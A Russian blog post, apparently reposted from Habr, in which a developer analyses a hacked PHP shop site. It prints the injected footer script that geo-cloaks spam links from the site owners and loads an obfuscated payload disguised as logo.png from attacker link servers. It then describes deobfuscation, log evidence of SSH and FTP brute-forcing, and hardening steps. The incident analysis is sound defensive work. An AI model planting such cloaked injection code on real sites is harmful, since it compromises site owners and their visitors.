- PVSM.RU - https://www.pvsm.ru -
Ваш сайт на выделенном сервере? Вы авторизуетесь в ssh по паролю? Вы пользуетесь обычным ftp? А может быть в вашей системе еще и код в БД хранится? Что ж, я расскажу, чем это может быть чревато.
В середине июня текущего года ко мне обратился владелец интернет-магазина часов, который заметил в футере своего сайта «левые ссылки», которых там быть не должно и ранее не наблюдалось.
Сайт крутится на одной коммерческой CMS написанной на php, достаточно популярной, но немного (много?) «кривой». Кривость заключается в смешении логики и представления, хранении части кода в бд и последующем исполнении через eval, использовании plain-sql запросов и прочих радостей, «облегчающих» жизнь программистов. Исходный код CMS способен ввергнуть в трепетный ужас даже искушенного кодера: многокилометровые функции с множеством условий не меньшей длины, глобальные переменные, eval-ы и куча других прелестей поджидают заглянувшего сюда смельчака. Несмотря на ужасную программную архитектуру, админка CMS достаточна продумана — создается впечатление, что ТЗ на систему писал профи, а реализовывал студент. Узнали используемую вами CMS? Сочувствую…
Заглянув в основной шаблон сайта, я сразу обнаружил подключение в футере подозрительного скрипта:
include("/path/to/script/footer.php");
Исходный код скрипта footer.php:
function geo_info($ip)
{
$ch = curl_init ();
curl_setopt ($ch , CURLOPT_URL , "http://ip-whois.net/ip_geo.php?ip=" .$ip);
curl_setopt ($ch , CURLOPT_USERAGENT, "Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; Trident/5.0)");
curl_setopt ($ch , CURLOPT_RETURNTRANSFER , 1 );
$content = curl_exec($ch);
$contentutf8 = iconv("windows-1251","utf-8", $content);
curl_close($ch);
preg_match_all('#Город: (.*)";#isU', $contentutf8, $city8);
preg_match_all('#Город: (.*)";#isU', $content, $city1251);
return @$city1251[1][0];
}
$city = geo_info($_SERVER['REMOTE_ADDR']);
//$city = geo_info($_SERVER['HTTP_X_FORWARDED_FOR']);
if ($city != "Екатеринбург") {
echo '<!--s_links--><!--check code--><!--/s_links-->
<div style="margin:0 auto; width:1024px; font-size:11px">';
require_once($_SERVER['DOCUMENT_ROOT'].'/path/to/script/logo.png');
$o['fetch_remote_type'] = 'socket';
$o['host'] = 'example.ru';
$o['charset'] = 'utf8';
$trustlink = new TRUSTLINK_client($o);
unset($o);
echo $trustlink->return_links();
echo '</div>';
}
Было очевидно, что это вредоносный код и что сайт используется в качестве площадки для размещения платных ссылок. Причем взломщики позаботились о том, чтобы владельцы сайта не увидели левых ссылок: ссылки отображались для всех, кроме посетителей с IP Екатеринбурга (сайт находится в регионе Екатеринбург). Как же владельцам сайта удалось увидеть ссылки? Оказалось что сервис, который злоумышленники использовали для определения города по IP, просто перестал работать. Точнее начал выдавать 404 ошибку (тест: ip-whois.net/ip_geo.php?ip=212.104.72.58 [1])
Убрав из шаблона вредоносный инклуд, я принялся за файл logo.png, который был конечно никакой не картинкой, а самым настоящим php-кодом. Исходник logo.png: pastebin.com/cTsgW2RU [2].
Видим что скрипт закодирован и сжат и два вызова:
eval(gzuncompress(base64_decode(...
Вспоминаем про двигатель прогресса, идем в гугл [3] и первой ссылкой находим замечательный сервис: www.whitefirdesign.com/tools/deobfuscate-php-hack-code.html [4]
Выбираем там тип обфускации eval(gzuncompress(base64_decode(, вставляем содержимое функций и получаем на выходе php-код: pastebin.com/mnzhjg5c [5]. Вот только понять по такому коду, что именно здесь происходит, невозможно. Но при этом прекрасно видно что для декодирования используется функция _527006668. Для начала я привел в читамый вид массив $a внутри функции _527006668. В этом мне помог var_export (http://pastebin.com/DKk3X5tz):
$b = array();
$count = count($a);
for ($i = 0; $i < $count; $i++){
$r = base64_decode($a[$i]);
$b[$i] = $r;
}
var_export($b);
Получился достаточно длинный массив: pastebin.com/xyqJVfmV [6]
После этого я набросал простенький декодер, заменяющий все вызовы функции _527006668 на соответствующий элемент массива $a: pastebin.com/RxVyACiS [7]
Результат прогнал через phpbeautifier.com: pastebin.com/wvw1mJA5 [8]
Теги <sape_noindex> как бы намекают, поэтому я пошел на сайт
Список серверов зловреда:
Первые два используются для вывода обычных и контекстныхх ссылок, третий для вывода статей. Все три сайта находятся на доменах третьего уровня, и меня заинтересовало, что это за домены такие. Я прогнал их через сервис who.is и получил список DNS-серверов доменов.
Проверка dispenser-01.strangled.net и dispenser-02.us.to:
ns1.afraid.org 50.23.197.95 ns2.afraid.org 208.43.71.243 ns3.afraid.org 69.197.18.162 ns4.afraid.org 70.39.97.253
Обратите внимание на dns сервера домена — они принадлежат сервису freedns.afraid.org, который позволяет бесплатно создавать домены третьего уровня на доменах, владельцы которых зарегистрированы на этом сервисе. А вот dns сервера третьего сайта (amursk-rayon.ru) принадлежат nic.ru, который услуг по free dns не предоставляет. Отсюда следует интересный вывод: либо у администрации Амурского муниципального района увели пароли/собственно аккаунт на nic.ru, либо кто-то из тех. амурского поддержки сайта заодно со злоумышленниками. Второе мне кажется менее вероятным: мало кто станет так себя подставлять.
На этом исследование зловреда было решено прекратить, но желаю узнать, не сталкивался ли кто-то еще с подобной проблемой, я пошел и загуглил "TRUSTLINK_client [10]". Гугл нашел 4 сайта на которых TRUSTLINK_client сломался и php вывел сообщение об ошибке. Сколько сайтов взломано и исправно работает, принося прибыль владельцам зловреда и убытки своим хозяевам остается только догадываться.
Оставалось выяснить, каким путем вредоносный код попал на сайт. Изначально у меня было три гипотезы:
Первую гипотезу я проверить не мог, поэтому принялся за вторую. Несмотря на мои скромные познания в администрировании *nix, искать подтверждения гипотезы долго не пришлось. Запустив grep «failed» по файлу /var/log/auth.log я обнаружил строки вида: «Failed password for root from ». Всего 2126 вхождения. Попытки подключения осуществлялись с разных IP-адресов — по несколько попыток с каждого. А также более 3500 строк вида: «Failed password for invalid user». Попытки подключения продолжались и после появления вредоносного кода, поэтому я предположил что ssh пароль злоумышленникам подобрать не удалось. Оставался ftp.
На сервере был установлен twoftpd. Его логи лежали по адресу /var/log/twoftpd. Вот только формат логов был мне не особо понятен.
Несколько файлов вида @4000000052732ee229ea33a4.s и файл current. Ок, решил я, current это очевидно текущий лог, открываем:
@400000005367fb3614060f7c tcpsvd: info: status 1/100 @400000005367fb361407402c tcpsvd: info: pid 19184 from 199.192.159.93 @400000005367fb361407961c tcpsvd: info: concurrency 19184 199.192.159.93 1/10 @400000005367fb361407a5bc tcpsvd: info: start 19184 localhost:<local IP> ::199.192.159.93:3745 @400000005367fb37187e7c24 tcpsvd: info: end 19184 exit 0 @400000005367fb37187e9394 tcpsvd: info: status 0/100 @400000005367fb3726f20a14 tcpsvd: info: status 1/100
Где привычная дата/время? Непонятно…
Открыл лог-файл вида @<цифры-буквы-бла-бла-бла>.s:
@40000000527270a4368eed34 tcpsvd: info: pid 11169 from 94.141.36.101 @40000000527270a4368f4edc tcpsvd: info: concurrency 11169 94.141.36.101 11/10 @40000000527270a4368f5e7c tcpsvd: info: deny 11169 localhost:<local IP> ::94.141.36.101:58879 @40000000527270a43690316c tcpsvd: info: end 11169 exit 100 @40000000527270a43690410c tcpsvd: info: status 10/100 @40000000527270a524e8249c tcpsvd: info: status 11/100
Похоже на попытки подбора пароля, но уверенности нет. Быстрое гугление по формату лог-файла результата не принесло. Спрашивать у знатоков на форумах было лень, поэтому решил просто принять как аксиому предположение о том, что был подобран пароль к ftp.
Итак, вредоносный код вычищен, осталось обезопасить себя от попыток подбора паролей в будущем:
Чего я не сделал, но следовало бы? По хорошему следовало бы отключить ftp, а вместо него использровать sftp [11]. Но на сайт выгружают данные сторонние программы, которые ничего кроме ftp не умеют. Еще следовало бы завести код на сайте под git. Но в условиях, когда немалая часть кода хранится в БД, это не спасет от несанкционированного измения кода.
Возможно я упустил что-то еще, буду рад любым предложениям и конструктивной критике. И да пребудут ваши сервера в безопасности! И да не взломает вас хакер!
Автор: daydiff
Источник [12]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/ssh/67949
Ссылки в тексте:
[1] ip-whois.net/ip_geo.php?ip=212.104.72.58: http://ip-whois.net/ip_geo.php?ip=212.104.72.58
[2] pastebin.com/cTsgW2RU: http://pastebin.com/cTsgW2RU
[3] гугл: https://www.google.ru/?gws_rd=ssl#newwindow=1&q=php+deobfuscator+online
[4] www.whitefirdesign.com/tools/deobfuscate-php-hack-code.html: http://www.whitefirdesign.com/tools/deobfuscate-php-hack-code.html
[5] pastebin.com/mnzhjg5c: http://pastebin.com/mnzhjg5c
[6] pastebin.com/xyqJVfmV: http://pastebin.com/xyqJVfmV
[7] pastebin.com/RxVyACiS: http://pastebin.com/RxVyACiS
[8] pastebin.com/wvw1mJA5: http://pastebin.com/wvw1mJA5
[9] sape.ru: http://www.sape.ru/r.PTksTTZVNR.php
[10] TRUSTLINK_client: https://www.google.ru/search?q=%22TRUSTLINK_client%22
[11] sftp: https://ru.wikipedia.org/wiki/SFTP
[12] Источник: http://habrahabr.ru/post/228559/
Нажмите здесь для печати.